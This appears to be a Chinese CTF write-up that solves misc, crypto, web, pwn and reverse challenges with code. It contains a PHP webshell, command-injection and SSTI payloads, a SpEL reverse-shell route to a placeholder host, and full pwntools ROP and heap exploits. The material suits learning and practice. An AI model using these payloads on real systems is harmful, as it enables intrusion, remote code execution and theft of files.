misc 签到卡 print(open('/flag').read())
被加密的生产流量 追踪tcp流,数据提取出来base32
国粹 先分割题目.png
中的小麻将到output
1 2 3 4 5 6 7 8 9 10 11 12 13 import os w=0 h=0 from PIL import Image a=Image.open ('题目.png' ) w1,h1=a.sizewhile w<w1: im=a.crop((w,h,w+53 ,h+73 )) im.save(os.path.join('output' ,str (w))+'.png' ) w+=53
再将a.png
和k.png
中的小麻将去output
找对应的索引值,分别作为纵坐标和横坐标画图得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import cv2import numpy as np a=cv2.imread("a.png" ) k=cv2.imread("k.png" ) w=len (a[0 ]) i=0 import os path='output/' d=os.listdir(path) d.remove("0.png" ) data=[[],[]] Status=[False ,False ]def check (im1,im2,sind ): A=cv2.absdiff(im1,im2) if np.count_nonzero(A) ==0 : Status[sind]=True ind=int (j.split('.' )[0 ]) if ind!=0 : data[sind].append(ind//53 ) pass while i<w: ima=a[0 :73 ,i:i+53 ] imk=k[0 :73 ,i:i+53 ] Status=[False ,False ] for j in d: im2=cv2.imread(os.path.join(path,j)) check(ima,im2,0 ) check(imk,im2,1 ) if Status==[True ,True ]: break i+=53 from PIL import Image a=Image.new("1" ,(42 ,42 ))for i in range (w//53 ): a.putpixel((data[1 ][i],data[0 ][i]),255 ) a.save('123.png' ) a.show()
pyshell python 沙盒
利用_
拼接字符串后eval
执行,同时限制了7位字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Welcome to this python shell,try to find the flag! >>'open' 'open' >>_+'("/' 'open("/' >>_+'fl' 'open("/fl' >>_+'ag' 'open("/flag' >>_+'")' 'open("/flag")' >>_+'.' 'open("/flag").' >>_+'rea' 'open("/flag").rea' >>_+'d()' 'open("/flag").read()' >>eval (_)'flag{b8c3ead1-cdad-4ddb-bb81-9486888d426a}\n'
puzzle 打开后有很多宽度不一样的小bmp
文件,放进010里分析发现在冗余位多了一些数据
以bfReserved1
表示图片左上角x
坐标,bfReserved2
表示图片左上角y
坐标,biXPelsPerMeter
表示图片右下角x
坐标,biYPelsPerMeter
表示图片右下角y
坐标画图
画的时候注意biHeight
,在bmp
中该值是正数说明图像是倒向的即图像存储是由下到上;该值是负数说明图像是倒向的即图像存储是由上到下,所以遇到负数的图片需要反转一下在拼图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import osfrom PIL import Image file_list = os.listdir('tmp4' ) img = Image.new('RGB' ,(7200 ,4000 ))for i in range (len (file_list)): f = open (f'./tmp4/{file_list[i]} ' ,'rb' ).read() pic = Image.open (f'./tmp4/{file_list[i]} ' ) Res1 = int .from_bytes(f[6 :8 ],'little' ) Res2 = int .from_bytes(f[8 :10 ],'little' ) Xpel = int .from_bytes(f[38 :42 ],'little' ) Ypel = int .from_bytes(f[42 :46 ],'little' ) If_rev = int .from_bytes(f[22 :26 ],'little' ) if (If_rev != 100 ): pic = pic.transpose(Image.FLIP_TOP_BOTTOM) img.paste(pic,(Res1,Res2,Xpel,Ypel)) img.save('flag.png' )
拼完后的图跑zsteg
,得到第一部分的flag:flag{f1R5T_part_1s_LSB_sTeG0_
然后还是biHeight
,高度-100的做0,100的做1,binary之后得到第二部分flag:2nd_paRT_15_reVeRSe_bMp_
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import osfrom PIL import Image file_list = os.listdir('tmp4' ) Res1_L,Res2_L,Ypel_L,XY_L = [],[],[],[]for i in range (len (file_list)): f = open (f'./tmp4/{file_list[i]} ' ,'rb' ).read() Res1 = int .from_bytes(f[6 :8 ],'little' ) Res2 = int .from_bytes(f[8 :10 ],'little' ) Ypel = int .from_bytes(f[22 :26 ],'little' ) Res1_L.append(Res1) Res2_L.append(Res2) Ypel_L.append(Ypel) XY_L.append((Res2,Res1)) a = sorted (Res1_L) b = sorted (Res2_L) c = sorted (XY_L)for i in range (len (c)): ind = XY_L.index(c[i]) if (Ypel_L[ind] == 4294967196 ): print ('0' ,end='' ) else : print ('1' ,end='' )
第三部分在补齐字节的数据中 找到第一张图片17447199634.bmp
,查看补齐字节的数据
发现依次是FF D8
,FF E1
等
所以可以以padding
数据按照左上到右下的顺序拼接得到jpg
图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import osfrom PIL import Image file_list = os.listdir('tmp4' ) Xpel_L,XY_L,Leng_L,Ypel_L,f_list = [],[],[],[],[]for i in range (len (file_list)): f = open (f'./tmp4/{file_list[i]} ' ,'rb' ).read() Res1 = int .from_bytes(f[6 :8 ],'little' ) Res2 = int .from_bytes(f[8 :10 ],'little' ) Xpel = int .from_bytes(f[18 :22 ],'little' ) Ypel = int .from_bytes(f[22 :26 ], 'little' ) Xpel_L.append(Xpel) XY_L.append((Res2,Res1)) Leng_L.append((len (f)-54 )) Ypel_L.append(Ypel) c = sorted (XY_L) Padding_file = []for i in range (len (c)): ind = XY_L.index(c[i]) if (Leng_L[ind] != Xpel_L[ind]*300 ): Padding_file.append(ind) data = b'' for i in range (len (Padding_file)): f = open (f'./tmp4/{file_list[Padding_file[i]]} ' ,'rb' ).read() w = int .from_bytes(f[18 :22 ], 'little' ) f = f[54 :] if (len (f)-w*100 *3 == 100 ): pad = 1 elif (len (f)-w*100 *3 == 200 ): pad = 2 else : pad = 3 for j in range (100 ): d = f[j*(w*3 +pad):j*(w*3 +pad)+w*3 +pad] data += d[-pad:] fw = open ('flag.jpg' ,'wb' ).write(data)
得到第三部分的flag:3rd_parT_1s_paddINGINGING
crypto 基于国密SM2算法的密钥密文分发 根据文档一步一步来即可,虽然有点没看懂
先找个网址生成一组公钥和密钥 https://www.lzltool.com/SM2
登录拿id
上传公钥
访问/api/quantum
获取密钥密文
访问/api/check
发送quantumString
的值
使quantumStringUser
的值等于quantumStringServer
的值即可通过验证
访问/api/search
得到flag
可信度量 非预期
/proc/22/task/22/environ
可以直接看到flag
Sign_in_passwd base64换表
web unzip 上传后返回源码
只能上传zip
文件,上传后在tmp
目录使用unzip -o
解压
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );$finfo = finfo_open (FILEINFO_MIME_TYPE);if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/zip' ){ exec ('cd /tmp && unzip -o ' . $_FILES ["file" ]["tmp_name" ]); };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 //构造一个指向/var/www/html的软连接ln -s /var/www/html poc //保留软连接压缩 zip --symlinks test.zip poc //创建跟第一个压缩包中目录同名的目录mkdir poc //接着向目录中写一个shellecho "<?php eval(\$_POST['a']);?>" > ./poc/shell.php //压缩这个目录 zip -r test1.zip poc
上传第一个压缩包后会在tmp
目录下生成一个软连接到/var/www/html
,当我们上传第二个压缩包时,因为poc
目录已经软连接到/var/www/html
了,所以解压的时候会把shell.php
放在/var/www/html
dumpit 根据题目描述可知分别有查询和导出的功能点
根据执行命令后的返回值推测执行的命令如下
传入?db=a&table_2_query=b
时会执行select * from a.b
传入?db=a&table_2_dump=b
时会执行mysqldump -u root a b > log/xxx.log
这里因为a
和b
的值可控,所以相当于我们可以执行命令了
方法1: 直接传?db=ctf&table_2_dump=%0a+id+>+log/1+%0
,然后访问log/1
方法2: 因为mysqldump
在找不到我们给出的表的情况下会抛出错误信息mysqldump: Couldn't find table: "表名"
在linux
中可以利用2>
将命令执行的结果输出到文件中
传/?db=ctf&table_2_dump=\<\?\=phpinfo\(\)?\>+2>+log/1.php
,然后访问1.php
index.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php $servername = "127.0.0.1" ;$username = "www-data" ;$password = "" ;function is_valid ($str ) { $black = ';`*#^$&|' ; for ($i =0 ;$i <strlen ($black );$i ++){ if (!(stristr ($str ,$black [$i ])===FALSE )){ return FALSE ; } } if (!(stristr ($str ,'host' )===FALSE )){ return FALSE ; } if (!(stristr ($str ,'-h' )===FALSE )){ return FALSE ; } return TRUE ; }try { $conn = new PDO ("mysql:host=$servername ;dbname=ctf" , $username , $password ); }catch (PDOException $e ) { die ($e ->getMessage ()); }if (!isset ($_GET ['table_2_query' ]) && !isset ($_GET ['table_2_dump' ])){ echo 'use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1' ; die (); }if (isset ($_GET ['db' ])){ $db =$_GET ['db' ]; }else { die ('no db!' ); }if (isset ($_GET ['table_2_query' ])){ $t2q = $_GET ['table_2_query' ]; $sql = "select * from $db .$t2q " ; if (!(is_valid ($t2q ))){ die ('nop' ); } if (!(is_valid ($db ))){ die ('nop' ); } echo $sql ; echo '</br>' ; try { $stm = $conn ->query ($sql ); $res = $stm ->fetch (); var_dump ($res ); } catch (PDOException $e ){ die ('error' ); } die (); }if (isset ($_GET ['table_2_dump' ])){ $t2d =$_GET ['table_2_dump' ]; if (!(is_valid ($t2d ))){ die ('nop' ); } if (!(is_valid ($db ))){ die ('nop' ); } $randstr = md5 (time ()); $dump ='mariadb-dump ' .$db .' ' .$t2d .' >./log/' .$randstr .'.log' ; system ($dump ); echo 'dump log here: <a href=\'' .'./log/' .$randstr .'.log' .'\'>here</a>' ; }?>
BackendService nacos服务,CVE-2021-29441添加任意用户进后台
分析backend-1.0-SNAPSHOT.jar
发现内部配置服务有个8888的gateway服务,id为backcfg
1 2 3 4 5 6 7 8 9 10 spring: cloud: nacos: discovery: server-addr: 127.0 .0 .1 :8888 config: name: backcfg file-extension: json group: DEFAULT_GROUP server-addr: 127.0 .0 .1 :8888
可以通过修改Gateway配置文件反代backendservice服务实现rce
参考文章:https://xz.aliyun.com/t/11493#toc
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "spring" : { "cloud" : { "gateway" : { "routes" : [ { "id" : "exam" , "order" : 0 , "uri" : "lb://backendservice" , "predicates:" : [ "Path=/evil/**" ] , "filters" : [ { "name" : "RewritePath" , "args" : { "replacement" : "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/xxxx/xxxx 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}" } } ] } ] } } } }
go_session 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package routeimport ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" )var store = sessions.NewCookieStore([]byte (os.Getenv("SESSION_KEY" )))func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, guest" ) }func Admin (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] != "admin" { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } name := c.DefaultQuery("name" , "ssti" ) xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!" ) if err != nil { panic (err) } out, err := tpl.Execute(pongo2.Context{"c" : c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200 , out) }func Flask (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { if err != nil { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name" , "guest" )) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) c.String(200 , string (body)) }
有三个路由
1 2 3 r.GET("/" , route.Index) r.GET("/admin" , route.Admin) r.GET("/flask" , route.Flask)
Index
路由提供了一个默认的session,name赋值为guestAdmin
路由判断session,需要name值为admin,并使用EscapeString转义name,而且还使用了pongo2渲染,存在ssti漏洞Flask
路由访问内部5000端口的flask服务并回显页面
因为SESSION_KEY
是从环境变量获取的,猜测为空,进行session
伪造 本地修改session.Values["name"] = "admin"
,运行拿到伪造的session
访问/flask?name=/
通过报错拿到flask
源码
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask,request app = Flask(__name__)@app.route('/' ) def index (): name = request.args['name' ] return name + 'no ssti' if __name__== "__main__" : app.run(host="127.0.0.1" ,port=5000 ,debug=True )
可以看到flask
开启了debug
模式,debug
攻击点一般在算pin
或debug热加载
但是访问/console
实现rce需要携带cookie验证,因为我们无法传递cookie,所以利用ssti读文件算pin后rce这条路走不通
如图,当flask文件的内容被更改后,flask会自动更新,也就是热加载
所以我们可以利用ssti实现任意文件读写,然后覆盖server.py,实现自己的恶意内容
查阅官方手册 可知pongo2与Django 1.7有兼容的语法和功能集
Django中的include语法在pongo2中也能使用,所以可以用include实现任意文件读取
写文件可以⽤Gin Context里的FormFile来读取表单⽂件,用SaveUploadFile上传,注意需要用GET传参
1 2 3 4 5 6 7 8 9 {%include c.Request.Referer()%} {%include c.Request.Host()%} {{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}} {%set form=c.Query(c.HandlerName|first)%}{{c.SaveUploadedFile(c.FormFile(form),c.Request.Referer())}}&m=file {%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
覆盖后就可以执行我们自定义的内容了
pwn 烧烤摊儿 修改名称存在栈溢出,程序不存在system
函数,使用orw
获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * p=remote("123.56.251.120" ,"12585" ) e=ELF("./shaokao" ) fopen=e.sym['open64' ] read=e.sym['read' ] write=e.sym['write' ] rdi=0x000000000040264f rsi=0x000000000040a67e rdx=0x00000000004a404b p.sendlineafter('> ' ,'1' ) p.sendline("3" ) p.sendline('-100000' ) p.sendlineafter('> ' ,'4' ) p.sendlineafter('> ' ,'5' ) payload=b'flag' .ljust(0x28 ,b'\x00' ) payload+=p64(rdi)+p64(0x4e60f0 )+p64(rsi)+p64(0 )+p64(fopen) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(0x4e60f0 )+p64(rdx)+p64(0x40 )+b'a' *8 +p64(read) payload+=p64(rdi)+p64(1 )+p64(write) p.sendline(payload)
StrangeTalkBot 程序使用了protobuf
协议解析输入数据,构造protobuf
数据,传入即可 程序中存在uaf
漏洞与数组越界漏洞,利用gadget
构造栈迁移,实现orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *import varintimport sysdef Mode (m ): return b'\x08' +varint.encode(m<<1 )def Ind (i ): return b'\x10' +varint.encode(i<<1 )def Size (s ): return b'\x18' +varint.encode(s<<1 )def Data (d ): return b'\x22' +varint.encode(len (d))+ddef add (ind,size,data=b' ' ): payload=Mode(1 )+Ind(ind)+Size(size)+Data(data) p.sendafter("now: \n" ,payload)def edit (ind,data ): payload=Mode(2 )+Ind(ind)+Size(0 )+Data(data) p.sendafter("now: \n" ,payload)def show (ind ): payload=Mode(3 )+Ind(ind)+Size(0 )+Data(b'' ) p.sendafter("now: \n" ,payload)def free (ind ): payload=Mode(4 )+Ind(ind)+Size(0 )+Data(b'' ) p.sendafter("now: \n" ,payload) e=ELF("./pwn" ) context.binary=e libc=ELF("./libc-2.31.so" )if len (sys.argv)==1 : p=process("./pwn" ) gdb.attach(p)else : p=remote("123.56.244.196" ,"35492" )for i in range (10 ): add(i,0xe8 )for i in range (7 ): free(i) show(1 ) heap=u64(p.read(8 ))print (hex (heap)) show(2 ) heap1=u64(p.read(8 ))print (hex (heap1)) free(7 ) free(8 ) show(8 ) d=u64(p.read(8 ))print (hex (d)) libc.address=d-0x1eccc0 free_hook=libc.sym['__free_hook' ] gadget=libc.address+0x154dea mprotect=libc.sym['mprotect' ] rdi=0x0000000000023b6a +libc.address rsi=0x000000000002601f +libc.address rdx=0x0000000000142c92 +libc.address leave=libc.address+0x00000000000578c8 edit(6 ,p64(free_hook)) add(0x20 ,0xe8 ) payload=b'a' edit(0 ,flat([heap+0x48 ,leave, heap1&0xfffffffffffff000 , heap,0 , leave,0 ,0 ,0 , heap, rdi,heap1&0xfffffffffffff000 , rsi,0x1000 , rdx,7 , mprotect, heap1])) shellcode=shellcraft.open ('flag' )+shellcraft.read(3 ,heap-0x50 ,0x50 )+shellcraft.write(1 ,heap-0x50 ,0x50 ) edit(1 ,asm(shellcode)) add(0x11 ,0xe8 ) add(0x12 ,0xe8 ,p64(gadget))print (hex (free_hook))print (hex (gadget)) free(0 ) p.interactive()
funcanary 程序使用了fork
,所以在子进程中报错,不会使程序中断,所以爆破canary
,然后跳转到后门位置就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * backdoor=0x1229 p=remote("123.56.135.185" ,"32640" ) canary=b'\x00' for i in range (7 ): for j in range (0x100 ): p.sendafter(b'welcome\n' ,b'a' *0x68 +canary+p8(j)) data=p.readline() if b'stack' not in data: print (j) canary+=p8(j) break i=0 context.log_level='debug' f=open ('data' ,'wb' )while i<0x10 : for j in range (0x30 ): data=p.readuntil('welcome\n' ) f.write(data) p.send(b'a' *0x68 +canary+b'b' *8 +p16(0xffff &(0x1200 +j+i*0x1000 ))) pause() i+=1 p.interactive()
Shell We Go 当认证结束之后,执行echo
指令,存在栈溢出,使用+
可以跳过栈空间,直接覆盖返回值 构造rop
,执行orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * p=remote("47.93.187.243" ,"38686" ) p.sendline(b"cert nAcDsMicN S33UAga1n@#!" ) context.log_level='debug' cmd=""" bp 0x4c181a bp 0x4c18a0 """ def makepayload (data ): e=b'' i=0 step=0x20 while i<len (data): e+=data[i:i+step]+b' ' i+=step pass return b'echo ' +e rdi=0x0000000000444fec system=0x43e7e6 rsi=0x000000000041e818 rdx=0x000000000049e11d sh=0x4c38e7 rax=0x000000000040d9e6 flag=0x4c34c8 syscall=0x000000000040328c e=ELF("./pwn" ) bss=e.bss() payload=b'+' *(0x298 -0x78 )+b'\x00' *3 +p64(rdi)+p64(flag)+p64(rsi)+p64(0 )+p64(rdx)+p64(0 )+p64(rax)+p64(2 )+p64(syscall) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(bss+0x200 )+p64(rdx)+p64(0x40 )+p64(rax)+p64(0 )+p64(syscall) payload+=p64(rdi)+p64(1 )+p64(rsi)+p64(bss+0x200 )+p64(rdx)+p64(0x40 )+p64(rax)+p64(1 )+p64(syscall) p.sendline(makepayload(payload)) p.interactive()
reverse babyRE https://snap.berkeley.edu/ 导入xml
导出密文后异或得到flag
1 2 3 4 5 6 a=[102 ,10 ,13 ,6 ,28 ,74 ,3 ,1 ,3 ,7 ,85 ,0 ,4 ,75 ,20 ,92 ,92 ,8 ,28 ,25 ,81 ,83 ,7 ,28 ,76 ,88 ,9 ,0 ,29 ,73 ,0 ,86 ,4 ,87 ,87 ,82 ,84 ,85 ,4 ,85 ,87 ,30 ]for i in range (1 ,len (a)): a[i]=a[i]^a[i-1 ]print (bytes (a))